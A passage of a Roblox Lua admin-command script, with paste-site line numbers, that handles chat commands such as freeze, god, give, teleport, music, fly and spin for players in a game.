  994. local plrz = GetPlr(plr, msg:lower():sub(8))
  995. for i, v in pairs(plrz) do
  996. coroutine.resume(coroutine.create(function()
  997. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  998. for a, obj in pairs(v.Character:children()) do
  999. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1000. end
  1001. end
  1002. end))
  1003. end
  1004. end
  1005.  
  1006. if msg:lower():sub(1,5) == "thaw " then
  1007. local plrz = GetPlr(plr, msg:lower():sub(6))
  1008. for i, v in pairs(plrz) do
  1009. coroutine.resume(coroutine.create(function()
  1010. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1011. for a, obj in pairs(v.Character:children()) do
  1012. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1013. end
  1014. end
  1015. end))
  1016. end
  1017. end
  1018.  
  1019. if msg:lower():sub(1,5) == "heal " then
  1020. local plrz = GetPlr(plr, msg:lower():sub(6))
  1021. for i, v in pairs(plrz) do
  1022. coroutine.resume(coroutine.create(function()
  1023. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1024. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1025. end
  1026. end))
  1027. end
  1028. end
  1029.  
  1030. if msg:lower():sub(1,4) == "god " then
  1031. local plrz = GetPlr(plr, msg:lower():sub(5))
  1032. for i, v in pairs(plrz) do
  1033. coroutine.resume(coroutine.create(function()
  1034. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1035. v.Character.Humanoid.MaxHealth = math.huge
  1036. v.Character.Humanoid.Health = 9e9
  1037. end
  1038. end))
  1039. end
  1040. end
  1041.  
  1042. if msg:lower():sub(1,6) == "ungod " then
  1043. local plrz = GetPlr(plr, msg:lower():sub(7))
  1044. for i, v in pairs(plrz) do
  1045. coroutine.resume(coroutine.create(function()
  1046. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1047. v.Character.Humanoid.MaxHealth = 100
  1048. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1049. end
  1050. end))
  1051. end
  1052. end
  1053.  
  1054. if msg:lower():sub(1,8) == "ambient " then
  1055. local chk1 = msg:lower():sub(9):find(" ") + 8
  1056. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1057. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1058. end
  1059.  
  1060. if msg:lower():sub(1,11) == "brightness " then
  1061. game.Lighting.Brightness = msg:sub(12)
  1062. end
  1063.  
  1064. if msg:lower():sub(1,5) == "time " then
  1065. game.Lighting.TimeOfDay = msg:sub(6)
  1066. end
  1067.  
  1068. if msg:lower():sub(1,9) == "fogcolor " then
  1069. local chk1 = msg:lower():sub(10):find(" ") + 9
  1070. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1071. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1072. end
  1073.  
  1074. if msg:lower():sub(1,7) == "fogend " then
  1075. game.Lighting.FogEnd = msg:sub(8)
  1076. end
  1077.  
  1078. if msg:lower():sub(1,9) == "fogstart " then
  1079. game.Lighting.FogStart = msg:sub(10)
  1080. end
  1081.  
  1082. if msg:lower():sub(1,7) == "btools " then
  1083. local plrz = GetPlr(plr, msg:lower():sub(8))
  1084. for i, v in pairs(plrz) do
  1085. coroutine.resume(coroutine.create(function()
  1086. if v and v:findFirstChild("Backpack") then
  1087. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1088. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1089. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1090. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1091. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1092. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1093. local sb
  1094. local hs
  1095. local pdist
  1096.  
  1097. script.Parent.Selected:connect(function(mouse)
  1098. if not mouse then return end
  1099. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1100. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1101. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1102. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1103. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1104. end)
  1105.  
  1106. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1107. end
  1108. end))
  1109. end
  1110. end
  1111.  
  1112. if msg:lower():sub(1,5) == "give " then
  1113. local chk1 = msg:lower():sub(6):find(" ") + 5
  1114. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1115. for i, v in pairs(plrz) do
  1116. coroutine.resume(coroutine.create(function()
  1117. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1118. for a, tool in pairs(game.Lighting:children()) do
  1119. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1120. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1121. end
  1122. end
  1123. end
  1124. end))
  1125. end
  1126. end
  1127.  
  1128. if msg:lower():sub(1,12) == "removetools " then
  1129. local plrz = GetPlr(plr, msg:lower():sub(13))
  1130. for i, v in pairs(plrz) do
  1131. coroutine.resume(coroutine.create(function()
  1132. if v and v.Character and v:findFirstChild("Backpack") then
  1133. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1134. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1135. end
  1136. end))
  1137. end
  1138. end
  1139.  
  1140. if msg:lower():sub(1,5) == "rank " then
  1141. local chk1 = msg:lower():sub(6):find(" ") + 5
  1142. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1143. for i, v in pairs(plrz) do
  1144. coroutine.resume(coroutine.create(function()
  1145. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1146. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1147. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1148. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1149. end
  1150. end))
  1151. end
  1152. end
  1153.  
  1154. if msg:lower():sub(1,7) == "damage " then
  1155. local chk1 = msg:lower():sub(8):find(" ") + 7
  1156. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1157. for i, v in pairs(plrz) do
  1158. coroutine.resume(coroutine.create(function()
  1159. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1160. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1161. end
  1162. end))
  1163. end
  1164. end
  1165.  
  1166. if msg:lower():sub(1,5) == "grav " then
  1167. local plrz = GetPlr(plr, msg:lower():sub(6))
  1168. for i, v in pairs(plrz) do
  1169. coroutine.resume(coroutine.create(function()
  1170. if v and v.Character and v.Character:findFirstChild("Torso") then
  1171. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1172. end
  1173. end))
  1174. end
  1175. end
  1176.  
  1177. if msg:lower():sub(1,8) == "setgrav " then
  1178. local chk1 = msg:lower():sub(9):find(" ") + 8
  1179. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1180. for i, v in pairs(plrz) do
  1181. coroutine.resume(coroutine.create(function()
  1182. if v and v.Character and v.Character:findFirstChild("Torso") then
  1183. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1184. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1185. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1186. end
  1187. end))
  1188. end
  1189. end
  1190.  
  1191. if msg:lower():sub(1,7) == "nograv " then
  1192. local plrz = GetPlr(plr, msg:lower():sub(8))
  1193. for i, v in pairs(plrz) do
  1194. coroutine.resume(coroutine.create(function()
  1195. if v and v.Character and v.Character:findFirstChild("Torso") then
  1196. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1197. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1198. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1199. end
  1200. end))
  1201. end
  1202. end
  1203.  
  1204. if msg:lower():sub(1,7) == "health " then
  1205. local chk1 = msg:lower():sub(8):find(" ") + 7
  1206. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1207. for i, v in pairs(plrz) do
  1208. coroutine.resume(coroutine.create(function()
  1209. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1210. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1211. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1212. end
  1213. end))
  1214. end
  1215. end
  1216.  
  1217. if msg:lower():sub(1,6) == "speed " then
  1218. local chk1 = msg:lower():sub(7):find(" ") + 6
  1219. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1220. for i, v in pairs(plrz) do
  1221. coroutine.resume(coroutine.create(function()
  1222. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1223. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1224. end
  1225. end))
  1226. end
  1227. end
  1228.  
  1229. if msg:lower():sub(1,5) == "team " then
  1230. local chk1 = msg:lower():sub(6):find(" ") + 5
  1231. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1232. for i, v in pairs(plrz) do
  1233. coroutine.resume(coroutine.create(function()
  1234. if v and game:findFirstChild("Teams") then
  1235. for a, tm in pairs(game.Teams:children()) do
  1236. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1237. end
  1238. end
  1239. end))
  1240. end
  1241. end
  1242.  
  1243. if msg:lower():sub(1,6) == "place " then
  1244. local chk1 = msg:lower():sub(7):find(" ") + 6
  1245. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1246. for i, v in pairs(plrz) do
  1247. coroutine.resume(coroutine.create(function()
  1248. if v and v:findFirstChild("PlayerGui") then
  1249. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1250. end
  1251. end))
  1252. end
  1253. end
  1254.  
  1255. if msg:lower():sub(1,3) == "tp " then
  1256. local chk1 = msg:lower():sub(4):find(" ") + 3
  1257. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1258. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1259. for i, v in pairs(plrz) do
  1260. coroutine.resume(coroutine.create(function()
  1261. for i2, v2 in pairs(plrz2) do
  1262. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1263. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1264. end
  1265. end
  1266. end))
  1267. end
  1268. end
  1269.  
  1270. if msg:lower():sub(1,7) == "change " then
  1271. local chk1 = msg:lower():sub(8):find(" ") + 7
  1272. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1273. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1274. for i, v in pairs(plrz) do
  1275. coroutine.resume(coroutine.create(function()
  1276. if v and v:findFirstChild("leaderstats") then
  1277. for a, st in pairs(v.leaderstats:children()) do
  1278. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1279. end
  1280. end
  1281. end))
  1282. end
  1283. end
  1284.  
  1285. if msg:lower():sub(1,6) == "shirt " then
  1286. local chk1 = msg:lower():sub(7):find(" ") + 6
  1287. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1288. for i, v in pairs(plrz) do
  1289. coroutine.resume(coroutine.create(function()
  1290. if v and v.Character then
  1291. for i,v in pairs(v.Character:children()) do
  1292. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1293. end
  1294. end
  1295. end))
  1296. end
  1297. end
  1298.  
  1299. if msg:lower():sub(1,6) == "pants " then
  1300. local chk1 = msg:lower():sub(7):find(" ") + 6
  1301. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1302. for i, v in pairs(plrz) do
  1303. coroutine.resume(coroutine.create(function()
  1304. if v and v.Character then
  1305. for i,v in pairs(v.Character:children()) do
  1306. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1307. end
  1308. end
  1309. end))
  1310. end
  1311. end
  1312.  
  1313. if msg:lower():sub(1,5) == "face " then
  1314. local chk1 = msg:lower():sub(6):find(" ") + 5
  1315. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1316. for i, v in pairs(plrz) do
  1317. coroutine.resume(coroutine.create(function()
  1318. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1319. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1320. end
  1321. end))
  1322. end
  1323. end
  1324.  
  1325. ------------------
  1326. -- Fun Commands --
  1327. ------------------
  1328. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1329.  
  1330. if msg:lower():sub(1,8) == "swagify " then
  1331. local plrz = GetPlr(plr, msg:lower():sub(9))
  1332. for i, v in pairs(plrz) do
  1333. coroutine.resume(coroutine.create(function()
  1334. if v and v.Character then
  1335. for i,v in pairs(v.Character:children()) do
  1336. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1337. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1338. end
  1339. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1340. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1341. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1342. local torso = plr.Character.Torso
  1343. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1344. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1345. p.Size = Vector3.new(.2,.2,.2)
  1346. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1347. local motor1 = Instance.new("Motor", p)
  1348. motor1.Part0 = p
  1349. motor1.Part1 = torso
  1350. motor1.MaxVelocity = .01
  1351. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1352. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1353. local wave = false
  1354. repeat wait(1/44)
  1355. local ang = 0.1
  1356. local oldmag = torso.Velocity.magnitude
  1357. local mv = .002
  1358. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1359. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1360. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1361. motor1.DesiredAngle = -ang
  1362. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1363. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1364. if torso.Velocity.magnitude < .1 then wait(.1) end
  1365. until not p or p.Parent ~= torso.Parent
  1366. script:Destroy()
  1367. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1368. end
  1369. end))
  1370. end
  1371. end
  1372.  
  1373. if msg:lower():sub(1,6) == "music " then
  1374. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1375. local id = msg:sub(7)
  1376. local pitch = 1
  1377. if tostring(id):lower():find("caramell") then id = 2303479 end
  1378. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1379. if tostring(id):find("rick") then id = 2027611 end
  1380. if tostring(id):find("halo") then id = 1034065 end
  1381. if tostring(id):find("pokemon") then id = 1372261 end
  1382. if tostring(id):find("cursed") then id = 1372257 end
  1383. if tostring(id):find("extreme") then id = 11420933 end
  1384. if tostring(id):find("awaken") then id = 27697277 end
  1385. if tostring(id):find("alone") then id = 27697392 end
  1386. if tostring(id):find("mario") then id = 1280470 end
  1387. if tostring(id):find("choir") then id = 1372258 end
  1388. if tostring(id):find("chrono") then id = 1280463 end
  1389. if tostring(id):find("dotr") then id = 11420922 end
  1390. if tostring(id):find("entertain") then id = 27697267 end
  1391. if tostring(id):find("fantasy") then id = 1280473 end
  1392. if tostring(id):find("final") then id = 1280414 end
  1393. if tostring(id):find("emblem") then id = 1372259 end
  1394. if tostring(id):find("flight") then id = 27697719 end
  1395. if tostring(id):find("banjo") then id = 27697298 end
  1396. if tostring(id):find("gothic") then id = 27697743 end
  1397. if tostring(id):find("hiphop") then id = 27697735 end
  1398. if tostring(id):find("intro") then id = 27697707 end
  1399. if tostring(id):find("mule") then id = 1077604 end
  1400. if tostring(id):find("film") then id = 27697713 end
  1401. if tostring(id):find("nezz") then id = 8610025 end
  1402. if tostring(id):find("angel") then id = 1372260 end
  1403. if tostring(id):find("resist") then id = 27697234 end
  1404. if tostring(id):find("schala") then id = 5985787 end
  1405. if tostring(id):find("organ") then id = 11231513 end
  1406. if tostring(id):find("tunnel") then id = 9650822 end
  1407. if tostring(id):find("spanish") then id = 5982975 end
  1408. if tostring(id):find("venom") then id = 1372262 end
  1409. if tostring(id):find("wind") then id = 1015394 end
  1410. if tostring(id):find("guitar") then id = 5986151 end
  1411. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1412. end
  1413.  
  1414. if msg:lower() == "stopmusic" then
  1415. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1416. end
  1417.  
  1418. if msg:lower() == "musiclist" then
  1419. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1420. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1421. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1422. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1423. end
  1424.  
  1425. if msg:lower():sub(1,4) == "fly " then
  1426. local plrz = GetPlr(plr, msg:lower():sub(5))
  1427. for i, v in pairs(plrz) do
  1428. coroutine.resume(coroutine.create(function()
  1429. if v and v:findFirstChild("PlayerGui") then
  1430. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1431. cl.Parent = v.PlayerGui cl.Disabled = false
  1432. end
  1433. end))
  1434. end
  1435. end
  1436.  
  1437. if msg:lower():sub(1,6) == "unfly " then
  1438. local plrz = GetPlr(plr, msg:lower():sub(7))
  1439. for i, v in pairs(plrz) do
  1440. coroutine.resume(coroutine.create(function()
  1441. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1442. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1443. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1444. wait(.1) v.Character.Humanoid.PlatformStand = false
  1445. end
  1446. end))
  1447. end
  1448. end
  1449.  
  1450. if msg:lower() == "disco" then
  1451. for i, v in pairs(lobjs) do v:Destroy() end
  1452. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1453. game.Lighting.Ambient = color
  1454. game.Lighting.FogColor = color
  1455. until nil]]
  1456. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1457. end
  1458.  
  1459. if msg:lower() == "flash" then
  1460. for i, v in pairs(lobjs) do v:Destroy() end
  1461. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1462. game.Lighting.Ambient = Color3.new(1,1,1)
  1463. game.Lighting.FogColor = Color3.new(1,1,1)
  1464. game.Lighting.Brightness = 1
  1465. game.Lighting.TimeOfDay = 14
  1466. wait(.1)
  1467. game.Lighting.Ambient = Color3.new(0,0,0)
  1468. game.Lighting.FogColor = Color3.new(0,0,0)
  1469. game.Lighting.Brightness = 0
  1470. game.Lighting.TimeOfDay = 0
  1471. until nil]]
  1472. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1473. end
  1474.  
  1475. if msg:lower():sub(1,5) == "spin " then
  1476. local plrz = GetPlr(plr, msg:lower():sub(6))
  1477. for i, v in pairs(plrz) do
  1478. coroutine.resume(coroutine.create(function()
  1479. if v and v.Character and v.Character:findFirstChild("Torso") then
  1480. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1481. local torso = v.Character:findFirstChild("Torso")
  1482. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1483. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1484. until not bg or bg.Parent ~= torso
  1485. end
  1486. end))
  1487. end
  1488. end
  1489.  
  1490. if msg:lower():sub(1,7) == "unspin " then
  1491. local plrz = GetPlr(plr, msg:lower():sub(8))
  1492. for i, v in pairs(plrz) do
  1493. coroutine.resume(coroutine.create(function()
  1494. if v and v.Character and v.Character:findFirstChild("Torso") then
  1495. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1496. end
  1497. end))
  1498. end
  1499. end
  1500.  
  1501. if msg:lower():sub(1,4) == "dog " then
  1502. local plrz = GetPlr(plr, msg:lower():sub(5))
  1503. for i, v in pairs(plrz) do
  1504. coroutine.resume(coroutine.create(function()
  1505. if v and v.Character and v.Character:findFirstChild("Torso") then
  1506. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1507. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1508. v.Character.Torso.Transparency = 1
  1509. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1510. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1511. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1512. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1513. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1514. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1515. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1516. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1517. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1518. end
  1519. end))
  1520. end
  1521. end
  1522.  
  1523. if msg:lower():sub(1,6) == "undog " then
  1524. local plrz = GetPlr(plr, msg:lower():sub(7))
  1525. for i, v in pairs(plrz) do
  1526. coroutine.resume(coroutine.create(function()
  1527. if v and v.Character and v.Character:findFirstChild("Torso") then
  1528. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1529. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1530. v.Character.Torso.Transparency = 0
  1531. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
